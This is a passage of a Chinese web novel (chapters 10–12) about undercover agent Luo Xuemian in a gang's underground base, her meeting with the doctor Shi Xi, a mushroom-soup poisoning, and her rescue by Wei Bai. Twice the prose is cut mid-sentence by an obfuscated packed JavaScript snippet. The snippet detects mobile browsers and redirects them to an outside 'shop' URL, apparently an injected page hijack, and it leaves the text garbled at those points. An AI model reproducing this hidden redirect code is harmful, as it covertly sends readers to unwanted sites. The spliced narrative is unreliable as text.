见此场景,洛雪眠心里已经猜得七七八八。这个道貌岸然的中年男人眉眼间与侯六有些相似,应该是他的父亲,而侯六加入恐怖组织恐怕不是自愿,而是这个男人把他作为人质留在了这里。 等男人的身影消失在走廊里,洛雪眠走过去拍了拍侯六的肩膀以示安慰。侯六的身体颤得厉害,被人一碰,条件反射抬头。 见到少年猩红的眼睛,洛雪眠怔了下,还不等她说话,侯六就一言不发快步离开了会议室。 哈里像是已经习以为常,抱着饭菜往会议室里走,边走边招呼她快进来吃午饭。 洛雪眠视线往里边探了眼,见除了哈里外没有其他人,便问道:“其他人呢?要不要也一起叫过来吃饭?” 哈里掀开保温盒,完全没把她当外人,摇头说:“不用理他们,蛇四和熊三我派出去了还没有回来,小白脸天天呆在实验室,饿死是他活该。” 实验室!!! 洛雪眠心中一喜,直觉这是个难得的好机会,连忙说:“那怎么能行呢,人是铁,饭是钢,我还是把饭给人家送过去吧。” 哈里思考了会儿,觉得要是真把这人饿死了也不好跟上边的人交代,便点了点头,催促她快去快回。 洛雪眠拎着饭菜,循着记忆熟门熟路在地下迷宫里绕来绕去,十几分钟后便来到了实验室门口。 正要抬手敲门,却见门竟然没锁是虚掩的。洛雪眠借着狭小的门缝往里瞄,试探着喊了一声:“你好,我是来送饭的。” 见实验室里半晌都没有人回应,洛雪眠轻手轻脚推开了实验室的门,霎时间,一股温度极低的寒气迎面扑来。 洛雪眠不由得皱起眉头。 不对劲儿,这根本不像是正常做实验该有的温度。 她环顾四周,实验室里面摆放了各种大型精密仪器,有的正在运行中,发出规律的“滴滴”声。实验室里没有见到任何人的身影,几个实验架上摆放了琳琅满目的试剂瓶,都贴着不同的标签。 洛雪眠的目光从这些试剂瓶上一一扫过,并没有发现特别的试剂,都是做实验常规会用到的。 但这并不合理,如果只是普通的实验室,为什么不许其他人进入? 洛雪眠走到实验台前,发现桌面一尘不染,物品摆放得十分整齐,桌面上放了一本敞开的实验报告本。她拿起来仔细浏览,却发现上面的报告是用医生开药方的专用字体写的,凌乱潦草得没有一个字能认得出来。 洛雪眠忍不住吐槽,难怪这么放心地放在桌面上。 这玩意儿一般人谁看得懂? 她把报告从头翻到尾,暗暗记下这些字的形状,打算回去后临摹下来拿给专业的人辨认。把报告本合上的时候,她顿了顿,被上面名字一栏的两个字吸引。 这两个字并没有用医生专用字体书写,而是一眼就能够辨认出来的简体字,字迹飘逸洒脱。 洛雪眠的目光在本子上面停留。 ……时希? 女孩子的名字? 她其实并不知道众人口中的小白脸到底是男是女,只知道这人职业是个医生,而且应该还精通于做实验。 洛雪眠把实验报告本放回桌面,还原成最开始的模样,眼角余光忽然瞥到桌面上放了一排试管架,试管里面的液体清一色的是绿色。 她瞬间联想到了老树懒昨天注射的SB药剂。 难道老树懒注射的SB药剂是从这里来的? 带着这个疑问,洛雪眠在实验室里转了一圈,并没有发现什么可疑的异常。她在一堆实验耗材里找了一根2毫升的塑料离心管,取了一些试管里面装的绿色液体,揣进兜里正要离开,却忽然瞥到了里间的无菌培养室里似乎有什么东西在发光。 走进去一看,只见无菌操作台上放了一个透明的玻璃罩,里面水培养了一朵粉白色的蘑菇。 洛雪眠盯着蘑菇观察了很久,恍惚间觉得有点眼熟,但又实在想不起来在哪里见过。 这蘑菇很小,看着平平无奇,但是单独放在这里培养应该不简单。 洛雪眠心中好奇,正要伸手打开玻璃罩,一只修长骨节分明的手抓住了她的手腕。 温润清朗的男声从头顶缓缓传来。 “别动,很危险。” 洛雪眠愕然,她竟然完全没有察觉到有人靠近了自己,猝然回头。 一个如初雪般干净美丽的俊雅男人出现在了她的眼前。 10. 有一美人兮 洛雪眠说不清楚自己在看清来人长相的那一刻,到底是什么样的感觉,她的视线像是被烫到,下意识地收回,垂眸时心脏忽然一紧,不明缘由的感到一阵心悸,闷痛感不受控地在胸腔逐渐蔓延。 时希察觉到了她的异样,似乎是出于医生的职业本能,他担忧地凝视着她,关切问道:“你怎么了?哪里不舒服?” 洛雪眠白着张脸摇了摇头,呼吸略微不畅,但她咬牙没有将痛苦表现出来,视线落在被他紧握的手腕上。 时希意识到自己的失礼,有些不自然地把手移开,略带歉意地说:“抱歉,一时情急,唐突了。” 洛雪眠压抑着胸口的不适感,抬头问他:“你就是时希?” 她原本以为时希是个女孩子,却没想到会是个男的,还是一个长相如此妖孽夺目的男子。 他的五官像是被造物主精雕细琢过,面部线条轮廓没有一丝的不妥,俊美得不可思议,身上穿了件简洁修身的白大褂,气质温润如玉,浅棕色的瞳仁里带着清浅的笑意,对着洛雪眠点了点头。 随后,他的视线在洛雪眠的左眼罩上停留了两秒,眼神变得微妙,而后不动声色转移到了她左手缠绕的纱布上,那是之前洛雪眠跟巨鳄打擂台赛时受的伤。 这几天洛雪眠先是被拐到这里,成功潜入当卧底后,又琢磨着要怎么样才能完成任务,根本没有多余的心思去管手上的伤,几天没有拆开换药,包裹伤口的纱布已经感染渗血。 时希盯着她手上的伤口,眸色暗了暗,轻声问:“不疼吗?” “嗯?”洛雪眠精神状态不太好,没太留意他说了什么。 时希收回目光,笑了笑,状似不经意地提起:“我是医生,你手上的伤看着很严重,方便让我帮你上药吗?” 洛雪眠愣了下,没有拒绝。 时希带着洛雪眠来到了外边的实验台,然后从储物柜里拿出了一个小型医疗箱,修长的手指从里面挑选了几样治疗外伤的药,微微弯腰准备给洛雪眠上药的时候,他忽然顿了下。 洛雪眠还觉得奇怪,以为他是忘拿了什么药,却见时希伸手从白大褂口袋里掏出了一颗糖果。 糖果包裹在透明的糖纸里,颜色粉嫩诱人,在灯光下折射着晶莹的光芒。 “等下可能会有点疼,你忍一忍。”时希将糖果递给她,微笑着轻声说。 洛雪眠定定望着躺在盈白手心里的糖果,有些愣神。 模糊的记忆里,似乎也有那么一个人,总会在她受伤上药的时候怕她喊疼,递给她一颗甜腻的糖果,轻声哄慰她。 只是那个人,早就不在了。 洛雪眠被勾起了回忆,眼神变得黯淡,伸手接过糖果,拆开糖纸,把糖含在嘴里,清甜的味道压下了心里涌上来的苦涩与难过。 时希给洛雪眠上药时神情十分认真,掀开纱布的动作轻柔缓慢,似乎生怕弄疼了她,薄唇轻抿,仔细地检查着伤口的感染情况。 洛雪眠安静地坐在凳子上,仰头望着眼前之人垂落的长睫,被他那双专注认真的眼眸深深吸引。 等时希裹缠完最后一圈纱布并打好结,洛雪眠才回过神来。她觉得脸颊有些发热,向来脸皮厚如城墙的她,难得会有不好意思的一天,不自觉地低垂着脑袋想掩饰此刻的尴尬。 时希却误以为她是生病了,眉头轻蹙,自然地伸出手轻轻覆盖在她的额头上,想确认她有没有因为伤口感染而发烧。 温热的触感从额头的皮肤处传来,洛雪眠像是被烫了一下,白皙的脸蛋爬上一抹嫣红,条件发射从凳子上跳起来,神情慌乱,说话也有些语无伦次。 “那、那个,时医生,我是来、来给你送饭的,饭已经放你桌面了,我先走了。” 话音刚落,转身便落荒而逃。 时希皱眉,不明所以。原本想出声喊住洛雪眠,叮嘱她手上伤口不能沾水,需要每天换一次药,却见洛雪眠忽然在门口顿住了脚步,表情怪异。 他察觉到不对劲,快走几步上前,只见洛雪眠的正对面,蛇四正举着一把手枪对准了她的脑袋,眼神不善。 蛇四阴鸷的竖瞳眯起,紧紧盯着洛雪眠,冷笑道:“你果然是警方派来的奸细。” “……” 听到这话,洛雪眠脸上虽波澜不惊,心中却惊疑不已,她刚到这里明明没多久,也还没有来得及采取任何行动,蛇四是从哪里判断出她卧底身份的? 不,不对,她应该还没有暴露身份,蛇四说这话也许只是怀疑,目的是想诈她。 洛雪眠的大脑飞速运转,正在思考着种种可能性与对策,眼前忽然一暗,一个高大修长的身影突然出现挡在了她的身前。 时希平静地直视着眼前的枪口,淡然问道:“蛇四,出什么事了?” “小白脸,识相的话赶紧闪开,不然老子连你一块崩了。”蛇四对时希阻拦自己的行为十分不爽,厉声呵道。 时希仍站在原地,脸上没有丝毫惧意,身形岿然不动。 “实验还没有结束,你不敢。” 他的语气十分笃定,把蛇四气得不轻。 “你……” “你应该是来找我的吧?”时希淡漠地打断他的话。 蛇四的呼吸频率明显失常,急促且不稳,应该是从远处匆忙跑过来导致的。所以时希猜测,蛇四出现在这里的真正原因,并不是因为急着要揭穿洛雪眠的身份,而是有人出事了需要他赶紧过去救治。 能让蛇四这么慌神的,只可能是哈里。 蛇四被时希说中来意,咬牙切齿说:“小白脸,你知不知道你在包庇谁?这个女人在我们的饭菜里下毒,想要毒死我们,现在已经证据确凿!” 洛雪眠眉心一跳:“……?!” ** 等几人赶到事发现场的时候,说实话,洛雪眠自己也有点懵。 会议室里,横七竖八倒了一地的人。有的口吐白沫两眼翻白,有的东倒西歪胡言乱语,有的神志不清贴着墙壁哐哐撞脑袋…… 洛雪眠在这群人里寻找哈里的身影,终于在一个角落里找到了他。只见小男孩倒在地上,双目紧闭,眉头紧锁,神情似乎极度不安,明显是被魇住了。 蛇四指了指桌面上被喝过的鸡汤,冷哼一声,质问:“看到了没,这些人都是吃了你送过来的东西才出事的,你还想狡辩?” 洛雪眠沉默了几秒,抬头诚恳道:“我要是说,我不是故意的你信吗?” 她真不是故意的,甚至连她自己都不清楚问题出在了哪里。她明明是严格按照菜谱煲的汤,食材也十分普通寻常,火候更是难得的把握得不错,可以说今天的饭菜已经是她厨艺的巅峰水平了。 这到底是怎么回事? 洛雪眠百思不得其解。 时希倒是十分镇定,他缓慢地环视了一圈地上的人,心中已经有了猜想。随后他走到会议桌旁边,莹白如玉的手指捏着汤勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253967|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把锅里剩余的东西捞上来仔细辨认。 洛雪眠一直站在旁边注视着他的动作,忽然瞥见这人嘴角微微上勾,一丝浅浅的笑意转瞬即逝。 她还以为是自己眼花看错了,就见时希抬头望向了她,将嘴角的笑意强压下,解释道:“他们确实是中毒了,原因是误食了汤里面没有煮熟的见手青。” “嗯??” 这么一说,洛雪眠后知后觉回忆起,今天煲汤的时候,她好像确实抓了一把青得发慌的蘑菇随手丢进了锅里。 她恍然大悟,原来这玩意儿就是见手青呀。 “呵。”蛇四冷笑,“我倒要看看,这次你要怎么跟老大解释。” 他似乎已经预料到了洛雪眠不得好死的下场。 说完,蛇四得意地走到躺在角落的哈里身边,殷勤贴心地将人从地面扶起带到椅子上坐好。 洛雪眠摩挲着下巴,若有所思地盯着蛇四的一举一动。 为什么这群人里就单单蛇四没有事? 难道是因为他没有喝汤的缘故?还是因为……跟他能操控毒蛇的异能有关? 除此之外…… 她不太能理解蛇四的行为。 从昨天的情况来看,他明明对哈里十分不满,甚至再大胆点猜测,应该是怀恨在心。按理来说,哈里出事不应该正中他的下怀吗?为何蛇四却表现出一副特别焦急的模样?好像生怕哈里就这样挂了。 他到底在忌惮什么? 时希似乎看出了她的疑惑,朝她微微一笑,略微低头靠近了女孩一些,但仍保持着恰当的社交距离,不会让人觉得反感和警惕,轻声说: “蛇四的异能属性原本是无毒的赤链蛇,但经历过一次特殊的变异,升级成了现在对所有毒性免疫的体质,所以他没有中毒。” 温热的呼吸在耳边若隐若现,带着点挠心的痒意。 洛雪眠闻言挑眉,不解地看着他:“你为什么要跟我说这些?你跟他们不是一伙的吗?我现在可是个还未摆脱嫌疑的奸细,你不怕我把你跟我说的这些都抖出去?” “你不会。” 时希的语气透着完全的信任,望向她的眼神坚定而温和,眸底深处似乎还隐藏着一些不易察觉的异样情绪,复杂又深邃,让人捉摸不透。 洛雪眠哑然失笑。 这人怎么比她自己还要相信她,明明才第一天认识,却好像已经熟识了许久。 很快,众人在时希精湛的医术救治下纷纷转醒。 哈里睁开眼睛的时候,还有些分不清楚现实与虚幻,耳边蛇四正在不遗余力地控诉着洛雪眠的罪行,强调她肯定就是敌方潜伏进来的奸细。他只觉得聒噪,没有怎么听,望着天花板神游了许久。 而后,在众人惊异的目光中,哈里的视线转向了闲闲站在一旁,满脸无所谓的洛雪眠身上。 “小狐狸。”他哑着声音问,“今天你做的是什么菜?” 洛雪眠愣了下,不懂他为什么又问了这个问题,耐着性子回答:“小鸡炖蘑菇汤。” 哈里笑了起来,眼里闪着细碎的光,夸赞道:“味道棒极了,我从来没有喝过这么好喝的汤,以后每天都要来一碗,就照着今天这样的做。” 室内陷入了一片死寂。 洛雪眠难以置信:“……哈??” 其余人差点惊掉下巴。 …………不是吧??!! 老大怕不是被毒傻了吧?! 11. 找人 洛雪眠一夜无梦,难得睡了个好觉。 睡意朦胧间,隔壁突兀响起一阵急促的敲门声,打破了清晨的静谧。 洛雪眠被惊醒,条件反射从床上坐起,侧耳细细聆听隔壁的动静,心中却是疑惑不解。 这么早来找时希的人会是谁?为的又是什么事? 随着一声开门的轻响,侯六焦急的声音隔着墙壁传过来。 “时医生,麻烦你快跟我走一趟。” 时希的眉眼间还带着昨晚通宵做实验的疲倦,看到焦躁的侯六,心里隐隐猜到出了什么事,他温声宽慰道:“你先别急,是不是医院那边出事了?” 侯六的身体控制不住地发抖,原本黑白分明的眼睛此刻爬满了红血丝,神情无助慌乱。 “她又偷跑出医院了,我找了她一晚上,可是到现在都没有找到她,时医生,求你帮帮我,我实在是不知道该怎么办了。” 时希眉头轻蹙,略微思索,冷静问:“她常去的几个地方也找过了吗?” “都找过了,我怕跟她错开,还反复去了好几遍。” 侯六说到底不过是个刚成年的少年,平时虽然表现出一副成熟稳重的小大人模样,可真的遇到要紧的事还是会慌得不知所措,他无法控制自己不往最坏的可能性去想。 他的眼神里全是担忧和恐惧,哑着嗓子问,“时医生,你说她那个样子能去哪呢?会不会想不开……” 说到后面,侯六的声音哽住,脸上全是没有看护好家人的深深自责和懊悔。 “不会的,你别瞎想。” 时希打断侯六的胡思乱想,轻拍了拍少年的肩头,转身回房取了件风衣外套,叮嘱他:“我们分头找,你去花市那边看看,上回她跟我提过想在家里养些花。” 走之前,时希的目光若有似无地落在了洛雪眠的房门上。 “好。”侯六用力点头。 等两人匆忙离开后,洛雪眠才打开了房门。 望着空无一人的走廊,她托着下巴沉思,心中倒是十分好奇这个“失踪的人”到底是什么身份,竟然能让侯六如此紧张。 她原本想跟上去看看,但侯六说过,地下室的出口派了人24小时看守,她一个新来的,又没有出去的正当理由,还是不要轻举妄动比较好,万一引起猜忌就麻烦了。 正要回房继续睡个回笼觉,走廊另一头传来了脚步声,洛雪眠愣了下,回头看向来人。 “小美人儿,这一大清早的,你穿成这样,该不会是在等我吧。” 昏暗的走道里走过来了一个长相猥琐的男人,染了一头黄毛,领口不修边幅地敞开了几粒扣子,故意漏出胸部的大片腹肌,看着流里流气。 男人走路的步伐不稳,身上带着浓重的酒气,嘴里叼了根烟,在看到洛雪眠后,目光肆无忌惮地在她的脸蛋和胸部打转,笑得不怀好意。 洛雪眠眼里闪过一丝厌恶,强迫自己压抑下心中的怒火,没有理会男人的冒犯,转身便回了房间。 刚要关上房门,男人就一阵风似地冲了过来,伸手插进门缝隔挡住。 “欸,小美人儿,别急着关门呀,我话还没有说完呢。” 洛雪眠冷冰冰盯着那只挡门的咸猪手,须臾,她掀起眼皮,面无表情问:“你还有什么话要说?” 你还有什么遗言吗。 男人的视线在女孩精致的锁骨上停留,喉结滚动,压抑着内心的燥热,好声好气地说:“我叫福七,是老大让我来找你的,厨房里的食材快没了,让我陪你一起去外边买些回来。” 洛雪眠免不了怀疑这话的真假,但不管真的假的,这都是一个千载难逢的好机会,她跟外边的人已经断联好几天了,正愁找不到合适的借口出去。 “行,我知道了。” 洛雪眠说着,也不待福七反应,干脆利落就将门给合上,要不是他躲得快把手及时缩回,恐怕已经血溅当场。 福七甩着被夹到了指尖的手,愤怒地掐灭烟头,正要破口大骂,但转念一想,又意犹未尽地舔了舔唇,眯眼盯着眼前紧闭的房门,笑得阴险。 “呵,还真是个带劲儿,够辣,先让你再得意会儿,等出去你就知道小爷我的厉害了。” ** 福七慢悠悠地领着洛雪眠往出口的方向走,走了大概十来分钟,来到了一堵黑墙边上,他点了根烟,跟站在左右两边两个高大魁梧的持枪男人打了声招呼。 守门人见到福七身后的洛雪眠,忍不住多瞧了几眼,其中一个人调侃道:“呦,七哥,不错嘛,这才几天呀就又换新目标了,后面那小美妞谁啊?身材可真够辣的。” 福七嘴里咬着烟,慢条斯理吐了口烟圈,表情得意笑骂,“滚,哪来那么多废话,赶紧开门,别耽误小爷干正事。” 洛雪眠全程没有开口,眼神平静无波,看着这些人的目光像是在看死人。她的视线径直越过几人,仔细打量起眼前的高墙,猜想这后面应该别有洞天。 果然,只见守门人在墙上摸索了会儿,找到了一个类似转盘的开关,拨动开关后,墙体发出一阵沉闷的响动,缓缓上移,一个足以容纳十来人的电梯赫然出现在了眼前。 福七率先走了进去,吊儿郎当双手插兜靠在电梯壁上,朝静立在电梯外迟迟未进来的洛雪眠吹了声口哨,不耐地催促:“小美人儿,还等什么呢?赶紧进来呀,小爷我还能吃了你不成。” 洛雪眠嘴角泛起一丝冷笑,抬脚走了进去。 电梯缓慢上行,密闭的空间里萦绕着男人浑浊的呼吸和烟酒味,还夹杂着一股极淡的霜雪气息。福七看向洛雪眠,闲得无聊没话找话。 “小美人儿,你的异能属性是什么?怎么身上这么香?”他说着还装模作样深吸了一口空气。 洛雪眠双手抱着胳膊倚靠在电梯角落,直接无视男人的存在,闭上了眼,表情冷漠,一点也不想搭理他。 “唉,别老不理人呀,礼尚往来,我先说我自己,我呢,属性是蝙蝠,等级嘛,也不低,比蛇四侯六他们几个都要高上一级,是B级。” 听到这话,洛雪眠倏然睁开了眼。 司无枫之前说过,被劫持的民航客机被人使用异能故意隐藏了飞行轨迹,所以地面上的雷达才无法检测到。现在想来,估计就是眼前这个家伙干的。 ……蝙蝠? 难道是能干扰电磁波方面的异能? 福七见洛雪眠对自己说的话有了反应,理所当然以为她是被自己的等级给惊到了,心里不由得升腾起一种洋洋得意的自豪感。 毕竟在整个暗网里,除了部分像哈里这样的小头目,B级可是为数不多。 “怎么样,是不是被小爷的等级吓到了?不用太崇拜哥,哥只是个传说。” 说话间,电梯传来了一阵轻微晃动,随后停了下来。 洛雪眠鄙夷地瞥了眼仍沉浸在自己内心世界里的福七,自顾自地走了出去,轻视嘲讽不屑一顾的话就像一桶冰水朝男人兜头浇下。 “一个B而已,也好意思说出来显摆,收破烂都没人要的垃圾玩意。” “你……” 福七瞬间黑了脸,他不敢置信地瞪着洛雪眠离开的背影,拳头捏得死紧,胸膛剧烈起伏,气得咬牙切齿,语气森寒:“臭丫头,你给小爷等着。” 这几天都待在昏暗的地下室里,再次接触到头顶光影转换器投射下来的“阳光”,洛雪眠被刺激得眯了眯眼,伸手挡在眼前,等适应光线后,她环顾四周,打量起了自己身处的环境。 这是一座废弃的小洋楼,她此刻正站在洋楼外边的庭院里,身后的电梯门变成了一道普通的木门,围墙外边传来了一阵嘈杂的人声,像是个闹市,而且人来人往十分热闹。 洛雪眠怎么也没有想到,这群人居然敢明目张胆地在人口如此密集的地方设立窝点。 就不怕被发现吗? 但很快她就明白了原因。 刚跨出院门,洛雪眠就感觉到了一股能量的轻微波动,伴随着的还有一阵眩晕感,等脚底踩在地面上的实感传来的时候,她已经站在了大街上。再回头,身后的院门连带小洋楼都已经消失不见,取而代之的是一家挂着“晚上好”招牌的小酒吧,挤在一堆五花八门的商家店铺里,格外不起眼。 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253968|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间异能?! 难怪司无枫说这帮人极为狡猾,很难追踪到行踪,原来是有能够使用空间异能的人存在,将他们的藏身之处完美隐藏。 洛雪眠推断,真正的地下室肯定不在这里,关键恐怕在于出口的那座电梯,电梯上面应该附加了空间异能,能够将乘坐的人传送到不同的地方,也就是说“门”其实并不是只有一个,而是有许多个。 还真是狡兔三窟。 意识到这一点,洛雪眠不由得皱起了眉头,因为这并不是什么有利的情报,反而相当棘手,空间异能向来罕见,来无影也去无踪,其存在只会加大将来围剿的难度。 ** 嘈杂拥挤的菜市场里,洛雪眠不紧不慢地逛着摊位,她臂弯处挂了个菜篮,一手拿着青椒,一手拿着西红柿,像模像样地弯腰认真挑选着蔬菜,眼角余光却一直在留意不远处靠着柱子抽烟打发时间的福七。 出来也有大半天了,洛雪眠有意在拖延时间,而福七闲闲站在一边不断拍打着萦绕在他身边的苍蝇,脸上充斥着对菜市场的厌恶和嫌弃,时不时就会不耐烦地催促洛雪眠赶紧买好菜离开。 洛雪眠充耳不闻,继续慢悠悠挑选,愣是慢得能将手里的萝卜看出花来,直到她在靠近路口的摊位旁边瞥到一个熟悉的身影,她才停止了挑菜的动作,直起身离开了菜市场。 洛雪眠对附近并不熟悉,福七在前头带路,越走路边的行人越少,接着两人拐进了一条窄巷里,七拐八绕直到周围彻底没有了人影,福七才停下了脚步。 洛雪眠站在男人身后,眼里划过一丝轻蔑,明知故问道:“哎,你怎么不继续走了?哈里他们还等着我回去做饭呢。” 福七听到这话,冷笑着回头,撕开了脸上虚伪的面孔,盯着洛雪眠的目光尽是赤/裸裸的欲念和恶意。 “小美人儿,这么着急回去干什么,小爷带你去个好玩的地方,保管让你乐不思蜀。” 福七邪笑着朝洛雪眠一步步逼近,俨然已经将她视为了囊中之物。 洛雪眠安静站在原地,不躲也不避,神色自若,不见一丝慌乱,直到福七距离自己只有一臂之遥,她才缓缓开口。 “我猜得没错的话,真正让你带我出来的是蛇四吧,他想要背着哈里除掉我这个眼中钉肉中刺,所以找了你。” 福七愣了下,有点意外,干脆也不再掩饰。 “蛇四那小子跟我说你是个极品货色的时候我还不信,现在看来还真有那么点极品的样子,小美人儿,今天落到我手里,你可跑不掉了。” 话落,福七打了个响指,无形的声波以他为中心向四周极速扩散。 洛雪眠皱眉,只觉得一阵天旋地转的头晕眼花,耳朵嗡鸣得难受,力量像是被骤然抽离,无力地跌坐在地上,尽管死死捂住了耳朵,但那诡异的声波仍尖锐叫嚣着源源不断往她的耳朵里钻,像是要将她的脑子挤爆。 “小美人,别反抗了,乖乖跟我走吧。”福七饶有兴味地欣赏着洛雪眠痛苦的表情。 正要伸手摸一下眼前人白嫩的肌肤,突然,他脊背一寒,有人悄无声息出现在了他的身后,并把手搭在了他的肩膀上。紧接着,汹涌的电流排山倒海般从肩膀游走至全身,还未来得及反应便直愣愣地倒了下去。 魏白踢了脚被电晕过去的福七,抱臂居高临下俯视跌坐在地上状似虚弱不堪的洛雪眠。 半晌,他忍不住翻了个白眼,无语道:“行了,别演了,人已经解决了。” 洛雪眠见到来人,脸上痛苦虚弱的表情瞬间消失,只是唇色发白,她支着下巴笑眯眯看向魏白,反驳:“谁演了,我是真的被震得难受。” 魏白明显不信,冷哼,“那也是你自找的,这家伙根本奈何不了你,你却偏要等到我亲自出手。” 洛雪眠站起身,拍了拍膝盖上的灰尘,叹气道:“魏白呀,活该你快三十岁了还是只单身狗,你到底懂不懂,我这可是在给你一个英雄救美的机会。” “得了吧,”魏白没好气地瞥了她一眼,直白地戳穿,“你就是不想脏了自己的手。” 洛雪眠撇了撇嘴,不置可否。 12. 真相 “这几天你都去哪里了?定位追踪器一直监测不到你的具体位置。”魏白疑惑地看向洛雪眠。 早在国际监狱见面的那天,洛雪眠身上就安装了军用微型定位追踪器,但自从她在福利院失踪后,定位就消失不见了,直到几个小时前才重新被监测到位置,魏白便立即赶了过来。 洛雪眠伸了个懒腰,稍微活动了一下筋骨,朝地上躺着的福七抬了抬下巴,说:“你能监测到才怪呢,就你脚底下那家伙,他的异能可以干扰电磁波,劫机事件里雷达检测不到飞机的飞行轨迹就是他干的好事。” 洛雪眠一开始就觉得蹊跷,地下室里居然没有一个人使用手机等电子通讯设备,她原本以为是地下信号不好,现在看来,只怕是福七使用了异能干扰屏蔽了所有电磁波信号的传递,定位追踪器自然也会失效。 而离开地下室后,两人呆在人口密集的菜市场里,福七的异能具有范围性,他不敢贸然使用异能,否则容易被警方盯上,洛雪眠身上的定位器也因此得以被魏白他们再次监测到位置。 魏白听后,眉头皱起,他没有料到这帮人里还有这么难搞的家伙存在,轻啧了一声。 “这么麻烦。” 洛雪眠瞥了他一眼,摊手道:“还有更麻烦的呢,带我去见你们领导吧,有事要说。” 小巷的路口处停了一辆黑色宾利,洛雪眠看了眼车,径直拧开车门钻进了后座,魏白则坐在了副驾驶位上。 “这次的任务难度超标了。”刚落坐,洛雪眠便冲坐在旁边的司无枫挑眉道。 “哦?”司无枫看向她,墨绿色的眼眸隐含笑意,“能让洛小姐都觉得有难度的任务,我还真是好奇,说说看,你都得到了哪些情报?” 洛雪眠轻哼一声,将这几天的见闻一五一十吐了个干净,之后又把收集到的两种绿色药液递给了司无枫。 司无枫修长的指尖摩挲着手里的东西,脸色变得凝重,“空间异能,这可真不是一个好消息。” 洛雪眠的视线在药液上停留了几秒,若有所思,突然抬头说:“我有个疑问。” 司无枫微征,眼神示意她但说无妨。 “你之前提过,天子大楼被炸毁的原因是因为楼里面正在拍卖的一批SB药剂,但我认为,如果只是简单的SB药剂,应该还不至于让暗网如此大费周章,所以,你们是不是还对我隐瞒了些什么?” 洛雪眠看向司无枫的眼神直白且锐利,带着探究,不放过男人脸上一丝一毫的表情变化。 车厢里陷入了一片寂静之中。 司无枫的眸底如绿色漩涡般深沉,令人捉摸不透,半晌,他才缓缓开口:“还真是什么都瞒不住你。” “当时天子大楼内拍卖的确实不是普通的SB药剂,而是第一研究所经过数次改良升级实验后,最新研发出来的具有终生时效性的SB药剂。” “终生时效性?” 洛雪眠感到诧异,普通的SB药剂时效短暂,需要终身注射,一经售卖便已是高价哄抢的局面。而像这种一针就能管一辈子的最新研发成果,必然会引起轩然大波,但她竟是头一回听说。 ……这人说的话能信吗? 司无枫看出了她的疑虑,解释道:“洛小姐,我知道你在怀疑什么,终生时效性的SB药剂还没有得到正式批准生产,目前仍处于试验阶段,但药效已经得到了确认,一针即可见效且对人体安全无害。” “因为原材料十分稀有难得,所以研究所选择了将手头上现有的一点样品在天子大楼内进行拍卖,价高者得,这属于保密交易,并不对外公开,你没有听说过也很正常。” “既然是保密交易,”洛雪眠问,“那暗网是从何得知这场拍卖会的?” 司无枫笑了笑,微微直起身,不经意地提醒:“洛小姐——” “你还记得深渊研究所吧?” 听到这个名称,洛雪眠瞳孔一缩,右手下意识握紧,将指尖攥得发白。 司无枫眸中划过一丝了然,继续说: “相信你并不陌生,深渊研究所与第一研究所原本都隶属于国际医学联盟,是合法科研单位,只是两者研究的方向不同,深渊研究所专门从事的是人类异化方向的探索研究。但五年前,该研究所被曝出非法进行人体改造实验,违背了伦理道德和建立的初衷,被军区下令清剿摧毁。据说当时执行此项任务的——” 司无枫停顿了下,眼里漾起兴味的涟漪,“正是当年赫赫有名的王牌部队,而作为该队主力的你,也是在这次任务之后选择了退伍。” “你到底想说什么?”洛雪眠不客气地出声打断,神色凌然。 “别紧张,洛小姐。” 司无枫目视前方,淡声说,“我只是想告诉你,深渊研究所与第一研究所的关系向来不睦,当年的抓捕行动还有几个漏网之鱼逃窜在外,该研究所的创始人也至今杳无音讯,这次最新SB药剂的拍卖消息据悉就是深渊研究所的余孽透露给暗网的,目的就是给第一研究所找不痛快。” 洛雪眠呼出一口气,眉目间染上了几分疲惫,摆手道:“行了,我知道怎么一回事了。” 她的心绪烦乱,不愿再去回想往事,也很抵触再听见有关深渊研究所的任何只言片语,忽然想起了什么,岔开话题问:“迈杰夫怎么样了?” 魏白透过后视镜瞥了眼脸色苍白的洛雪眠,抿唇从兜里掏出手机,直接点开了语音外放,老狱警苍老沙哑的熟悉嗓音从里面传出来。 “丫头,你在那边怎么样了?不用担心我,老头子我好着呢,你专心做事,争取好好立功表现,这次出去了可千万别再回来了,我们这儿一点也不欢迎你。” 得知迈杰夫确实安然无恙,洛雪眠松了口气。她偏头,打量了眼司无枫,意味深长问:“你上次跟我说的什么A级精神系控梦师,不会说的就是你自己吧?” 时间倒回几天前,那天洛雪眠回到劳改场,意外救下了差点被蛇咬伤的侯六,而在这之前,魏白告诉了她两个关键信息。 第一,侯六的真实身份是天子大楼被炸毁时抓捕到的犯罪团伙成员之一;第二,这群团伙里已知的异能者中有一个擅长操控毒蛇的人。 因此,当看到那条雪地里死掉的花蛇时,洛雪眠便猜测到,这是有人在故意给侯六传递信息,并且应该很快就会按耐不住采取行动。 于是她立即将情况告知了司无枫,才有了当天晚上国际监狱内上演的防守薄弱,国际刑警支援不及时,洛雪眠趁乱逃狱等一系列大戏。为的就是让这帮犯罪分子放松警惕,好让洛雪眠以“通缉犯”的身份成功潜入敌营。 司无枫没有说话,算是默认了洛雪眠的猜测。 “能让这么多人同时陷入梦境中,并且丝毫没有察觉出来,不愧是A级。”洛雪眠毫不吝啬地夸赞道。 